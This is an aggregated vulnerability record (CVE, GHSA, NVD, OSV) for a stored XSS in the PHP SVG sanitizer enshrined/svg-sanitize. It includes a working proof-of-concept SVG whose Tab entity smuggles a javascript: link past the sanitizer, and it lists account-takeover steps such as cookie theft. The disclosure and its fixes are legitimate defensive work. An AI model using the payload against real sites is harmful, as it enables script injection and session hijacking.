{"id":"CVE-2026-107380","aliases":["CLSA-2026-1791988717","EUVD-2026-95137","GHSA-9rjx-3jch-6vjf"],"status":"published","title":"enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision","description":"savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer's isHrefSafeValue() validates an SVG href after XML DTD entity expansion, but saveXML() serializes the original entity reference after removing the DTD declaration. A crafted entity such as Tab can appear to the sanitizer as a safe fragment prefix while HTML5 Named Character Reference resolution during inline HTML rendering later converts the surviving reference to whitespace, exposing a javascript: URL. When an application embeds the sanitized SVG inline, a user who activates the link can cause script to execute in the embedding page's origin. This issue is fixed in version 1.0.0.","severity":{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00254,"percentile":0.17139,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-79"],"published":"2026-10-08T18:06:14Z","modified":"2026-10-28T02:30:52Z","fixes":[{"ecosystem":"Packagist","package":"enshrined/svg-sanitize","fixed_in":["1.0.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"enshrined/svg-sanitize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.22.0"},{"fixed":"1.0.0"}]}]},{"source":"osv","ecosystem":"TuxCare:Packagist","package":"enshrined/svg-sanitize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.16.0"},{"fixed":"0.16.0-p2+tuxcare"}]}],"versions":["0.16.0","0.16.0-p1+tuxcare"],"bundled":3},{"source":"osv","ecosystem":"Packagist","package":"enshrined/svg-sanitize","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.0.0"}]}],"versions":["0.1.0","0.1.1","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6","0.10.0","0.11.0","0.12.0","0.13.0","0.13.1","0.13.2","0.13.3","0.14.0","0.14.1","0.15.0","0.15.1","0.15.2","0.15.3","0.15.4","0.16.0","0.17.0","0.18.0","0.19.0","0.2.0","0.2.1","0.20.0","0.21.0","0.22.0","0.3.0","0.4.0","0.4.1","0.5.0","0.5.1","0.5.2","0.5.3","0.5.3.1","0.6.0","0.7.0","0.7.1","0.7.2","0.8.0","0.8.1","0.8.2","0.9.0","0.9.1","0.9.2"]}],"products":[{"vendor":"darylldoyle","product":"svg-sanitizer"}],"references":[{"url":"https://github.com/darylldoyle/svg-sanitizer/security/advisories/GHSA-9rjx-3jch-6vjf","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/darylldoyle/svg-sanitizer/commit/23877db7e76f1e1df5c3e65ab30239219c3d2867","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/darylldoyle/svg-sanitizer/releases/tag/1.0.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107380","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-9rjx-3jch-6vjf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/107xxx/CVE-2026-107380.json","tags":["advisory"]},{"url":"https://github.com/darylldoyle/svg-sanitizer","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-107380","title":"enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision","description":"savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer's isHrefSafeValue() validates an SVG href after XML DTD entity expansion, but saveXML() serializes the original entity reference after removing the DTD declaration. A crafted entity such as Tab can appear to the sanitizer as a safe fragment prefix while HTML5 Named Character Reference resolution during inline HTML rendering later converts the surviving reference to whitespace, exposing a javascript: URL. When an application embeds the sanitized SVG inline, a user who activates the link can cause script to execute in the embedding page's origin. This issue is fixed in version 1.0.0.","status":"published","published":"2026-10-08T18:06:14.107Z","modified":"2026-10-09T15:14:45.596Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T13:45:14.072357Z"}],"euvd":[{"id":"EUVD-2026-95137","description":"savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer's isHrefSafeValue() validates an SVG href after XML DTD entity expansion, but saveXML() serializes the original entity reference after removing the DTD declaration. A crafted entity such as Tab can appear to the sanitizer as a safe fragment prefix while HTML5 Named Character Reference resolution during inline HTML rendering later converts the surviving reference to whitespace, exposing a javascript: URL. When an application embeds the sanitized SVG inline, a user who activates the link can cause script to execute in the embedding page's origin. This issue is fixed in version 1.0.0.","status":"published","published":"2026-10-08T18:06:14Z","modified":"2026-10-09T15:14:45Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T17:27:25.010362Z"}],"ghsa":[{"id":"GHSA-9rjx-3jch-6vjf","title":"enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision","description":"## Summary\n\nA crafted SVG bypasses `enshrined/svg-sanitize`'s href validation and delivers a `javascript:` URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).\n\n**This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.**\n\n**Affected installations:**\n- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents\n- **WordPress Safe SVG plugin:** 1M+ active installs (inline SVG rendering via themes)\n- **TYPO3, Drupal** and 90+ other Packagist dependents\n\n## Vulnerability Details\n\n### Mechanism\n\n1. Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:\n   ```xml\n   \u003c!ENTITY Tab \"#\"\u003e\n   ```\n   In XML, `\u0026Tab;` expands to the literal string `\"#\"` (from the DTD definition).\n   In HTML5, `\u0026Tab;` is a Named Character Reference that resolves to U+0009 (TAB character).\n\n2. The SVG uses this entity in an href:\n   ```xml\n   \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n   ```\n\n3. **During sanitization** (XML context): `\u0026Tab;` → `\"#\"` → the sanitizer sees `href=\"#javascript:alert(document.domain)\"` → starts with `#` → `isHrefSafeValue()` returns **TRUE** → passes through.\n\n4. **Sanitizer output:** `saveXML()` outputs the entity reference `\u0026Tab;` (not the expanded value), and strips the DOCTYPE declaration.\n\n5. **In the browser** (HTML5 context): Without the DOCTYPE, `\u0026Tab;` is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → `javascript:alert(document.domain)` **executes**.\n\n### Root Cause (Sanitizer.php)\n\n```php\n// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)\nprotected function isHrefSafeValue($value) {\n    if ('#' === substr($value, 0, 1)) {\n        return true;  // Fragment identifier — \"safe\"\n    }\n    // ...\n}\n\n// But saveXML() preserves the entity REFERENCE, not the expanded value\n// And the DOCTYPE (which defines the entity) is stripped from output\n// → semantic mismatch between validation and output contexts\n```\n\n## Proof of Concept\n\n### Malicious SVG (xss.svg)\n\n```xml\n\u003c!DOCTYPE svg [\u003c!ENTITY Tab \"#\"\u003e]\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\"\u003e\n  \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n    \u003crect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/\u003e\n    \u003ctext x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\"\u003eCLICK ME\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n### Sanitizer processing\n\n```php\n\u003c?php\nrequire_once 'vendor/autoload.php';\n\n$svg = file_get_contents('xss.svg');\n$sanitizer = new \\enshrined\\svgSanitize\\Sanitizer();\n$clean = $sanitizer-\u003esanitize($svg);\necho $clean;\n```\n\n**Output:**\n```xml\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\"\u003e\n  \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n    \u003crect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/\u003e\n    \u003ctext x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\"\u003eCLICK ME\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\nThe `javascript:` href passes through the sanitizer. The DOCTYPE is stripped, but the `\u0026Tab;` entity reference is preserved.\n\n### Browser exploitation\n\nEmbed the sanitized SVG inline in HTML:\n```html\n\u003cdiv class=\"svg-container\"\u003e\n  \u003c!-- sanitized SVG output inserted here --\u003e\n  \u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\"\u003e\n    \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n      \u003crect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/\u003e\n      \u003ctext x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\"\u003eCLICK ME\u003c/text\u003e\n    \u003c/a\u003e\n  \u003c/svg\u003e\n\u003c/div\u003e\n```\n\n**Clicking the red rectangle executes `alert(document.domain)`.**\n\n**Confirmed:** Chrome 148. PoC file: `XSS_CONFIRMED_POC.html`\n\n### Exploitable Named Character References\n\nAny HTML5 Named Character Reference that expands to a URL-parser-ignored character:\n- `\u0026Tab;` → U+0009 (Horizontal Tab)\n- `\u0026NewLine;` → U+000A (Line Feed)\n\nThese are stripped by the URL parser's scheme extraction, allowing `javascript:` to be the effective scheme.\n\n## Impact\n\n### Stored XSS\n\n- Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint\n- SVG passes sanitization — sanitizer reports no issues\n- When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin\n- **Account takeover:** `document.cookie`, `fetch('/wp-admin/...')`, session hijacking\n\n### Context requirement\n\nThe sanitized SVG must be embedded **inline in HTML** (not as `\u003cimg src=\"file.svg\"\u003e`). Common scenarios:\n- WordPress themes that `echo file_get_contents($svg_path)` for inline SVG rendering\n- WordPress block editor SVG preview\n- Any web application rendering svg-sanitize output directly in HTML\n\nStandalone `\u003cimg src=\"...svg\"\u003e` is NOT affected (browser uses XML parser, `\u0026Tab;` without DOCTYPE = XML parse error).\n\n## CVSS\n\n**CVSS 3.1: 6.1 (Medium)** — stored XSS, requires user click\n\n`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`\n\nWith session stealing / admin takeover chain: effective severity **High**.\n\n## Suggested Fix\n\n### Option 1: Strip DOCTYPE before parsing (recommended)\n\n```php\n$dirty = preg_replace('/\u003c!DOCTYPE[^\u003e]*(?:\\[.*?\\])?\\s*\u003e/si', '', $dirty);\n```\n\nEliminates entity definitions entirely. No DTD entities = no collision.\n\n### Option 2: Validate href after serialization\n\n```php\n$clean = $this-\u003exmlDocument-\u003esaveXML(...);\n// Post-serialization check: re-validate all href values in the OUTPUT\n// (catches entity references that bypass the XML-expanded check)\n```\n\n### Option 3: Expand entities before validation\n\nValidate `getAttribute()` return value AND the serialized form:\n```php\n$href = $element-\u003egetAttribute($attrName);\n$serialized = $this-\u003exmlDocument-\u003esaveXML($element);\n// Check both for javascript: scheme\n```\n\n## Environment\n\n- enshrined/svg-sanitize 0.22.x\n- Chrome 148 (confirmed XSS execution)\n- PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)\n\n**Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/)\nDenis Rostilov**","status":"published","published":"2026-10-08T19:41:15Z","modified":"2026-10-08T19:41:17Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:41:30.097746Z"}],"nvd":[{"id":"CVE-2026-107380","description":"savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer's isHrefSafeValue() validates an SVG href after XML DTD entity expansion, but saveXML() serializes the original entity reference after removing the DTD declaration. A crafted entity such as Tab can appear to the sanitizer as a safe fragment prefix while HTML5 Named Character Reference resolution during inline HTML rendering later converts the surviving reference to whitespace, exposing a javascript: URL. When an application embeds the sanitized SVG inline, a user who activates the link can cause script to execute in the embedding page's origin. This issue is fixed in version 1.0.0.","status":"published","published":"2026-10-08T18:17:23.787Z","modified":"2026-10-09T16:17:22.457Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:55.142936Z"}],"osv":[{"id":"CVE-2026-107380","title":"enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision","description":"savg-sanitizer is a PHP SVG/XML sanitizer. Prior to 1.0.0, svg-sanitizer's isHrefSafeValue() validates an SVG href after XML DTD entity expansion, but saveXML() serializes the original entity reference after removing the DTD declaration. A crafted entity such as Tab can appear to the sanitizer as a safe fragment prefix while HTML5 Named Character Reference resolution during inline HTML rendering later converts the surviving reference to whitespace, exposing a javascript: URL. When an application embeds the sanitized SVG inline, a user who activates the link can cause script to execute in the embedding page's origin. This issue is fixed in version 1.0.0.","status":"published","published":"2026-10-08T18:06:14.107Z","modified":"2026-10-28T02:30:52.447383132Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:44:54.933106Z"},{"id":"GHSA-9rjx-3jch-6vjf","title":"enshrined/svg-sanitize: Stored XSS via DTD Entity / HTML5 Named Character Reference Collision","description":"## Summary\n\nA crafted SVG bypasses `enshrined/svg-sanitize`'s href validation and delivers a `javascript:` URL through the sanitizer unchanged. The bypass exploits a semantic mismatch between XML entity resolution (used during sanitization) and HTML5 Named Character Reference resolution (used by the browser when the SVG is rendered inline).\n\n**This is a logic bug in svg-sanitize. It does NOT depend on any PHP ext/dom bug — it works on any PHP version.**\n\n**Affected installations:**\n- **enshrined/svg-sanitize:** 45.2M Packagist downloads, 1.3M/month, 90+ dependents\n- **WordPress Safe SVG plugin:** 1M+ active installs (inline SVG rendering via themes)\n- **TYPO3, Drupal** and 90+ other Packagist dependents\n\n## Vulnerability Details\n\n### Mechanism\n\n1. Attacker defines a DTD entity whose name collides with an HTML5 Named Character Reference:\n   ```xml\n   \u003c!ENTITY Tab \"#\"\u003e\n   ```\n   In XML, `\u0026Tab;` expands to the literal string `\"#\"` (from the DTD definition).\n   In HTML5, `\u0026Tab;` is a Named Character Reference that resolves to U+0009 (TAB character).\n\n2. The SVG uses this entity in an href:\n   ```xml\n   \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n   ```\n\n3. **During sanitization** (XML context): `\u0026Tab;` → `\"#\"` → the sanitizer sees `href=\"#javascript:alert(document.domain)\"` → starts with `#` → `isHrefSafeValue()` returns **TRUE** → passes through.\n\n4. **Sanitizer output:** `saveXML()` outputs the entity reference `\u0026Tab;` (not the expanded value), and strips the DOCTYPE declaration.\n\n5. **In the browser** (HTML5 context): Without the DOCTYPE, `\u0026Tab;` is resolved as the HTML5 Named Character Reference → U+0009 (TAB). The URL parser strips leading whitespace → `javascript:alert(document.domain)` **executes**.\n\n### Root Cause (Sanitizer.php)\n\n```php\n// isHrefSafeValue() — evaluates EXPANDED value (after XML entity resolution)\nprotected function isHrefSafeValue($value) {\n    if ('#' === substr($value, 0, 1)) {\n        return true;  // Fragment identifier — \"safe\"\n    }\n    // ...\n}\n\n// But saveXML() preserves the entity REFERENCE, not the expanded value\n// And the DOCTYPE (which defines the entity) is stripped from output\n// → semantic mismatch between validation and output contexts\n```\n\n## Proof of Concept\n\n### Malicious SVG (xss.svg)\n\n```xml\n\u003c!DOCTYPE svg [\u003c!ENTITY Tab \"#\"\u003e]\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\"\u003e\n  \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n    \u003crect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/\u003e\n    \u003ctext x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\"\u003eCLICK ME\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n### Sanitizer processing\n\n```php\n\u003c?php\nrequire_once 'vendor/autoload.php';\n\n$svg = file_get_contents('xss.svg');\n$sanitizer = new \\enshrined\\svgSanitize\\Sanitizer();\n$clean = $sanitizer-\u003esanitize($svg);\necho $clean;\n```\n\n**Output:**\n```xml\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\"\u003e\n  \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n    \u003crect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/\u003e\n    \u003ctext x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\"\u003eCLICK ME\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\nThe `javascript:` href passes through the sanitizer. The DOCTYPE is stripped, but the `\u0026Tab;` entity reference is preserved.\n\n### Browser exploitation\n\nEmbed the sanitized SVG inline in HTML:\n```html\n\u003cdiv class=\"svg-container\"\u003e\n  \u003c!-- sanitized SVG output inserted here --\u003e\n  \u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 400 120\"\u003e\n    \u003ca href=\"\u0026Tab;javascript:alert(document.domain)\"\u003e\n      \u003crect width=\"400\" height=\"120\" fill=\"#c00\" rx=\"12\"/\u003e\n      \u003ctext x=\"200\" y=\"65\" fill=\"white\" font-size=\"20\" text-anchor=\"middle\"\u003eCLICK ME\u003c/text\u003e\n    \u003c/a\u003e\n  \u003c/svg\u003e\n\u003c/div\u003e\n```\n\n**Clicking the red rectangle executes `alert(document.domain)`.**\n\n**Confirmed:** Chrome 148. PoC file: `XSS_CONFIRMED_POC.html`\n\n### Exploitable Named Character References\n\nAny HTML5 Named Character Reference that expands to a URL-parser-ignored character:\n- `\u0026Tab;` → U+0009 (Horizontal Tab)\n- `\u0026NewLine;` → U+000A (Line Feed)\n\nThese are stripped by the URL parser's scheme extraction, allowing `javascript:` to be the effective scheme.\n\n## Impact\n\n### Stored XSS\n\n- Attacker uploads SVG as Author (WordPress) or via any svg-sanitize-protected upload endpoint\n- SVG passes sanitization — sanitizer reports no issues\n- When SVG is rendered inline in HTML page, clicking the link executes JavaScript in the page's origin\n- **Account takeover:** `document.cookie`, `fetch('/wp-admin/...')`, session hijacking\n\n### Context requirement\n\nThe sanitized SVG must be embedded **inline in HTML** (not as `\u003cimg src=\"file.svg\"\u003e`). Common scenarios:\n- WordPress themes that `echo file_get_contents($svg_path)` for inline SVG rendering\n- WordPress block editor SVG preview\n- Any web application rendering svg-sanitize output directly in HTML\n\nStandalone `\u003cimg src=\"...svg\"\u003e` is NOT affected (browser uses XML parser, `\u0026Tab;` without DOCTYPE = XML parse error).\n\n## CVSS\n\n**CVSS 3.1: 6.1 (Medium)** — stored XSS, requires user click\n\n`AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N`\n\nWith session stealing / admin takeover chain: effective severity **High**.\n\n## Suggested Fix\n\n### Option 1: Strip DOCTYPE before parsing (recommended)\n\n```php\n$dirty = preg_replace('/\u003c!DOCTYPE[^\u003e]*(?:\\[.*?\\])?\\s*\u003e/si', '', $dirty);\n```\n\nEliminates entity definitions entirely. No DTD entities = no collision.\n\n### Option 2: Validate href after serialization\n\n```php\n$clean = $this-\u003exmlDocument-\u003esaveXML(...);\n// Post-serialization check: re-validate all href values in the OUTPUT\n// (catches entity references that bypass the XML-expanded check)\n```\n\n### Option 3: Expand entities before validation\n\nValidate `getAttribute()` return value AND the serialized form:\n```php\n$href = $element-\u003egetAttribute($attrName);\n$serialized = $this-\u003exmlDocument-\u003esaveXML($element);\n// Check both for javascript: scheme\n```\n\n## Environment\n\n- enshrined/svg-sanitize 0.22.x\n- Chrome 148 (confirmed XSS execution)\n- PHP 8.3.24 (any version — bug is in PHP sanitizer logic, not ext/dom)\n\n**Reported by ExPatch Security Research — [expatch.llc](https://expatch.llc/)\nDenis Rostilov**","status":"published","published":"2026-10-08T19:41:15Z","modified":"2026-10-08T20:00:05.894027884Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:44.225359Z"},{"id":"CLSA-2026-1791988717","title":"TuxCare security update for enshrined/svg-sanitize (3 CVEs)","description":"TuxCare rebuilt enshrined/svg-sanitize to address 3 CVEs. Fixed in 0.16.0-p2+tuxcare.","status":"published","published":"2026-10-14T14:38:37Z","modified":"2026-10-15T09:48:04.810311776Z","updated_at":"2026-11-02T15:43:50.599064Z"}]}}
